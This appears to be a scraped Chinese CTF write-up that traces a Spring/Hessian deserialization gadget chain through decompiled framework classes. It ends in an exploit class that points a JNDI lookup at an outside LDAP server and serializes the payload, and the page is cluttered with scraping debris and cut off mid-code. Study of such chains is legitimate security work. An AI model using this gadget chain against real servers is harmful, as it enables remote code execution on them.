&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;public&nbsp;Object&nbsp;invoke(Object proxy, Method method, Object[]&nbsp;args) throws Throwable&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;switch&nbsp;(method.getName()) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;case&nbsp;"equals":&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;proxy ==&nbsp;args[0];&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;case&nbsp;"hashCode":&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;System.identityHashCode(proxy);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;case&nbsp;"toString":&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;this.objectFactory.toString();&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;default:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;method.invoke(this.objectFactory.getObject(),&nbsp;args);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(InvocationTargetException ex) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;throw&nbsp;ex.getTargetException();&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }

发现了这个类

调用了实现了这个接口的getObject

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line//// Source code recreated from a .class file by IntelliJ IDEA// (powered by FernFlower decompiler)//
package&nbsp;org.springframework.beans.factory;
import&nbsp;org.springframework.beans.BeansException;
@FunctionalInterfacepublic&nbsp;interface&nbsp;ObjectFactory<T> {&nbsp; &nbsp; T&nbsp;getObject()&nbsp;throws&nbsp;BeansException;}

这个时候使用第二个查询语句就发现了

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line//// Source code recreated from a .class file by IntelliJ IDEA// (powered by FernFlower decompiler)//
package&nbsp;org.springframework.beans.factory.config;
import&nbsp;java.io.Serializable;import&nbsp;org.springframework.beans.BeansException;import&nbsp;org.springframework.beans.factory.BeanFactory;import&nbsp;org.springframework.beans.factory.ObjectFactory;import&nbsp;org.springframework.lang.Nullable;import&nbsp;org.springframework.util.Assert;
public&nbsp;class&nbsp;ObjectFactoryCreatingFactoryBean&nbsp;extends&nbsp;AbstractFactoryBean<ObjectFactory<Object>> {&nbsp; &nbsp;&nbsp;@Nullable&nbsp; &nbsp;&nbsp;private&nbsp;String targetBeanName;
&nbsp; &nbsp;&nbsp;public&nbsp;void setTargetBeanName(String targetBeanName) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;this.targetBeanName = targetBeanName;&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;public&nbsp;void afterPropertiesSet() throws Exception {&nbsp; &nbsp; &nbsp; &nbsp; Assert.hasText(this.targetBeanName,&nbsp;"Property 'targetBeanName' is required");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;super.afterPropertiesSet();&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;public&nbsp;Class<?> getObjectType() {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;ObjectFactory.class;&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;protected&nbsp;ObjectFactory<Object> createInstance() {&nbsp; &nbsp; &nbsp; &nbsp; BeanFactory beanFactory =&nbsp;this.getBeanFactory();&nbsp; &nbsp; &nbsp; &nbsp; Assert.state(beanFactory !=&nbsp;null,&nbsp;"No BeanFactory available");&nbsp; &nbsp; &nbsp; &nbsp; Assert.state(this.targetBeanName !=&nbsp;null,&nbsp;"No target bean name specified");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;new TargetBeanObjectFactory(beanFactory,&nbsp;this.targetBeanName);&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;private&nbsp;static&nbsp;class&nbsp;TargetBeanObjectFactory&nbsp;implements&nbsp;ObjectFactory<Object>,&nbsp;Serializable&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;private&nbsp;final&nbsp;BeanFactory beanFactory;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;private&nbsp;final&nbsp;String targetBeanName;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;public&nbsp;TargetBeanObjectFactory(BeanFactory beanFactory, String targetBeanName) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;this.beanFactory = beanFactory;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;this.targetBeanName = targetBeanName;&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;public&nbsp;Object getObject() throws BeansException {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;this.beanFactory.getBean(this.targetBeanName);&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }}

这里面调用了实现了BeanFactory接口的getBean

这时候codeql编写语句就发现了

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line//// Source code recreated from a .class file by IntelliJ IDEA// (powered by FernFlower decompiler)//
package&nbsp;org.springframework.jndi.support;
import&nbsp;java.util.Collections;import&nbsp;java.util.HashMap;import&nbsp;java.util.HashSet;import&nbsp;java.util.Map;import&nbsp;java.util.Set;import&nbsp;javax.naming.NameNotFoundException;import&nbsp;javax.naming.NamingException;import&nbsp;org.springframework.beans.BeansException;import&nbsp;org.springframework.beans.factory.BeanDefinitionStoreException;import&nbsp;org.springframework.beans.factory.BeanFactory;import&nbsp;org.springframework.beans.factory.BeanNotOfRequiredTypeException;import&nbsp;org.springframework.beans.factory.NoSuchBeanDefinitionException;import&nbsp;org.springframework.beans.factory.NoUniqueBeanDefinitionException;import&nbsp;org.springframework.beans.factory.ObjectProvider;import&nbsp;org.springframework.core.ResolvableType;import&nbsp;org.springframework.jndi.JndiLocatorSupport;import&nbsp;org.springframework.jndi.TypeMismatchNamingException;import&nbsp;org.springframework.lang.Nullable;
public&nbsp;class&nbsp;SimpleJndiBeanFactory&nbsp;extends&nbsp;JndiLocatorSupport&nbsp;implements&nbsp;BeanFactory&nbsp;{&nbsp; &nbsp;&nbsp;private&nbsp;final&nbsp;Set<String> shareableResources = new HashSet();&nbsp; &nbsp;&nbsp;private&nbsp;final&nbsp;Map<String, Object> singletonObjects = new HashMap();&nbsp; &nbsp;&nbsp;private&nbsp;final&nbsp;Map<String, Class<?>> resourceTypes = new HashMap();
&nbsp; &nbsp;&nbsp;public&nbsp;SimpleJndiBeanFactory() {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;this.setResourceRef(true);&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;public&nbsp;void addShareableResource(String shareableResource) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;this.shareableResources.add(shareableResource);&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;public&nbsp;void setShareableResources(String... shareableResources) {&nbsp; &nbsp; &nbsp; &nbsp; Collections.addAll(this.shareableResources, shareableResources);&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;public&nbsp;Object getBean(String name) throws BeansException {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;this.getBean(name, Object.class);&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;public&nbsp;<T> T getBean(String name, Class<T> requiredType) throws BeansException {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;(T)(this.isSingleton(name) ?&nbsp;this.doGetSingleton(name, requiredType) :&nbsp;this.lookup(name, requiredType));&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(NameNotFoundException var4) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;throw&nbsp;new NoSuchBeanDefinitionException(name,&nbsp;"not found in JNDI environment");&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(TypeMismatchNamingException ex) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;throw&nbsp;new BeanNotOfRequiredTypeException(name, ex.getRequiredType(), ex.getActualType());&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(NamingException ex) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;throw&nbsp;new BeanDefinitionStoreException("JNDI environment", name,&nbsp;"JNDI lookup failed", ex);&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;public&nbsp;Object getBean(String name,&nbsp;@Nullable&nbsp;Object... args) throws BeansException {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(args !=&nbsp;null) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;throw&nbsp;new UnsupportedOperationException("SimpleJndiBeanFactory does not support explicit bean creation arguments");&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;this.getBean(name);&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;public&nbsp;<T> T getBean(Class<T> requiredType) throws BeansException {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;(T)this.getBean(requiredType.getSimpleName(), requiredType);&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;public&nbsp;<T> T getBean(Class<T> requiredType,&nbsp;@Nullable&nbsp;Object... args) throws BeansException {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(args !=&nbsp;null) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;throw&nbsp;new UnsupportedOperationException("SimpleJndiBeanFactory does not support explicit bean creation arguments");&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;(T)this.getBean(requiredType);&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;public&nbsp;<T> ObjectProvider<T> getBeanProvider(final&nbsp;Class<T> requiredType) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;new ObjectProvider<T>() {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;public&nbsp;T getObject() throws BeansException {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;(T)SimpleJndiBeanFactory.this.getBean(requiredType);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;public&nbsp;T getObject(Object... args) throws BeansException {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;(T)SimpleJndiBeanFactory.this.getBean(requiredType, args);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;@Nullable&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;public&nbsp;T getIfAvailable() throws BeansException {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;(T)SimpleJndiBeanFactory.this.getBean(requiredType);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(NoUniqueBeanDefinitionException ex) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;throw&nbsp;ex;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(NoSuchBeanDefinitionException var3) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;null;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;@Nullable&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;public&nbsp;T getIfUnique() throws BeansException {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;(T)SimpleJndiBeanFactory.this.getBean(requiredType);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(NoSuchBeanDefinitionException var2) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;null;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; };&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;public&nbsp;<T> ObjectProvider<T> getBeanProvider(ResolvableType requiredType) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;throw&nbsp;new UnsupportedOperationException("SimpleJndiBeanFactory does not support resolution by ResolvableType");&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;public&nbsp;boolean containsBean(String name) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(!this.singletonObjects.containsKey(name) && !this.resourceTypes.containsKey(name)) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;this.doGetType(name);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;true;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(NamingException var3) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;false;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;true;&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;public&nbsp;boolean isSingleton(String name) throws NoSuchBeanDefinitionException {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;this.shareableResources.contains(name);&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;public&nbsp;boolean isPrototype(String name) throws NoSuchBeanDefinitionException {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;!this.shareableResources.contains(name);&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;public&nbsp;boolean isTypeMatch(String name, ResolvableType typeToMatch) throws NoSuchBeanDefinitionException {&nbsp; &nbsp; &nbsp; &nbsp; Class<?> type =&nbsp;this.getType(name);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;type !=&nbsp;null&nbsp;&& typeToMatch.isAssignableFrom(type);&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;public&nbsp;boolean isTypeMatch(String name,&nbsp;@Nullable&nbsp;Class<?> typeToMatch) throws NoSuchBeanDefinitionException {&nbsp; &nbsp; &nbsp; &nbsp; Class<?> type =&nbsp;this.getType(name);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;typeToMatch ==&nbsp;null&nbsp;|| type !=&nbsp;null&nbsp;&& typeToMatch.isAssignableFrom(type);&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;@Nullable&nbsp; &nbsp;&nbsp;public&nbsp;Class<?> getType(String name) throws NoSuchBeanDefinitionException {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;this.getType(name,&nbsp;true);&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;@Nullable&nbsp; &nbsp;&nbsp;public&nbsp;Class<?> getType(String name, boolean allowFactoryBeanInit) throws NoSuchBeanDefinitionException {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;this.doGetType(name);&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(NameNotFoundException var4) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;throw&nbsp;new NoSuchBeanDefinitionException(name,&nbsp;"not found in JNDI environment");&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(NamingException var5) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;null;&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;public&nbsp;String[] getAliases(String name) {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;new String[0];&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;private&nbsp;<T> T doGetSingleton(String name,&nbsp;@Nullable&nbsp;Class<T> requiredType) throws NamingException {&nbsp; &nbsp; &nbsp; &nbsp; synchronized(this.singletonObjects) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Object singleton =&nbsp;this.singletonObjects.get(name);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(singleton !=&nbsp;null) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(requiredType !=&nbsp;null&nbsp;&& !requiredType.isInstance(singleton)) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;throw&nbsp;new TypeMismatchNamingException(this.convertJndiName(name), requiredType, singleton.getClass());&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;(T)singleton;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; T jndiObject = (T)this.lookup(name, requiredType);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;this.singletonObjects.put(name, jndiObject);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;jndiObject;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;private&nbsp;Class<?> doGetType(String name) throws NamingException {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(this.isSingleton(name)) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;this.doGetSingleton(name, (Class)null).getClass();&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; synchronized(this.resourceTypes) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Class<?> type = (Class)this.resourceTypes.get(name);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(type ==&nbsp;null) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; type =&nbsp;this.lookup(name, (Class)null).getClass();&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;this.resourceTypes.put(name, type);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;type;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }}

可以触发jndi，后面就是jdk原生反序列化的事情，走pojonode->spring aop->templatesImpl的事情了

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(linepackage&nbsp;org.example;
import&nbsp;com.rctf.server.tool.Maybe;import&nbsp;org.springframework.jndi.support.SimpleJndiBeanFactory;import&nbsp;sun.misc.Unsafe;import&nbsp;ysomap.core.util.ReflectionHelper;
import&nbsp;java.lang.reflect.Constructor;import&nbsp;java.lang.reflect.Field;import&nbsp;java.lang.reflect.InvocationHandler;import&nbsp;java.lang.reflect.Proxy;import&nbsp;java.security.SignedObject;import&nbsp;java.util.HashMap;import&nbsp;java.util.Map;import&nbsp;java.util.TreeMap;import&nbsp;java.util.TreeSet;
public&nbsp;class&nbsp;Exp&nbsp;{&nbsp; &nbsp;&nbsp;public&nbsp;static&nbsp;void&nbsp;main(String[] args)&nbsp;throws&nbsp; Exception{&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Field&nbsp;theUnsafe&nbsp;=&nbsp;Unsafe.class.getDeclaredField("theUnsafe");&nbsp; &nbsp; &nbsp; &nbsp; theUnsafe.setAccessible(true);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Unsafe&nbsp;unsafe&nbsp;=&nbsp;(Unsafe) theUnsafe.get(null);&nbsp; &nbsp; &nbsp; &nbsp; Class<?> name = Class.forName("org.springframework.beans.factory.config.ObjectFactoryCreatingFactoryBean$TargetBeanObjectFactory");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Object&nbsp;o1&nbsp;=&nbsp;unsafe.allocateInstance(name);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;SimpleJndiBeanFactory&nbsp;simpleJndiBeanFactory&nbsp;=&nbsp;new&nbsp;SimpleJndiBeanFactory();
&nbsp; &nbsp; &nbsp; &nbsp; unsafe.getAndSetObject(o1,unsafe.objectFieldOffset(name.getDeclaredField("beanFactory")),simpleJndiBeanFactory);&nbsp; &nbsp; &nbsp; &nbsp; unsafe.getAndSetObject(o1,unsafe.objectFieldOffset(name.getDeclaredField("targetBeanName")),"ldap://112.124.59.213:50389/a1ab9c");

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;InvocationHandler&nbsp;o&nbsp;=&nbsp;(InvocationHandler) unsafe.allocateInstance(Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler"));&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;long&nbsp;objectFactory&nbsp;=&nbsp;unsafe.objectFieldOffset(Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler").getDeclaredField("objectFactory"));&nbsp; &nbsp; &nbsp; &nbsp; unsafe.getAndSetObject(o,objectFactory,o1);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Maybe&nbsp;maybe&nbsp;=&nbsp;new&nbsp;Maybe(o);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;TreeSet&nbsp;treeSet&nbsp;=&nbsp;makeTreeSet(maybe, maybe);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;String&nbsp;serialize&nbsp;=&nbsp;HessianFactory.serialize(treeSet);&nbsp; &nbsp; &nbsp; &nbsp; System.out.println(serialize);// &nbsp; &nbsp; &nbsp; &nbsp;HessianFactory.deserialize(serialize);&nbsp; &nbsp; }&nbsp; &nbsp;&nbsp;public&nbsp;static&nbsp;TreeSet&nbsp;makeTreeSet(Object v1, Object v2)&nbsp;throws&nbsp;Exception {&nbsp; &nbsp; &nbsp; &nbsp; TreeMap<Object,Object> m =&nbsp;new&nbsp;TreeMap<>();&nbsp; &nbsp; &nbsp; &nbsp; ReflectionHelper.setFieldValue(m,&nbsp;"size",&nbsp;2);&nbsp; &nbsp; &nbsp; &nbsp; ReflectionHelper.setFieldValue(m,&nbsp;"modCount",&nbsp;2);&nbsp; &nbsp; &nbsp; &nbsp; Class<?> nodeC = Class.forName("java.util.TreeMap$Entry");&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Constructor&nbsp;nodeCons&nbsp;=&nbsp;nodeC.getDeclaredConstructor(Object.class, Object.class, nodeC);&nbsp; &nbsp; &nbsp; &nbsp; ReflectionHelper.setAccessible(nodeCons);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Object&nbsp;node&nbsp;=&nbsp;nodeCons.newInstance(v1,&nbsp;new&nbsp;Object[0],&nbsp;null);&nbsp; &nbsp; &nbsp; 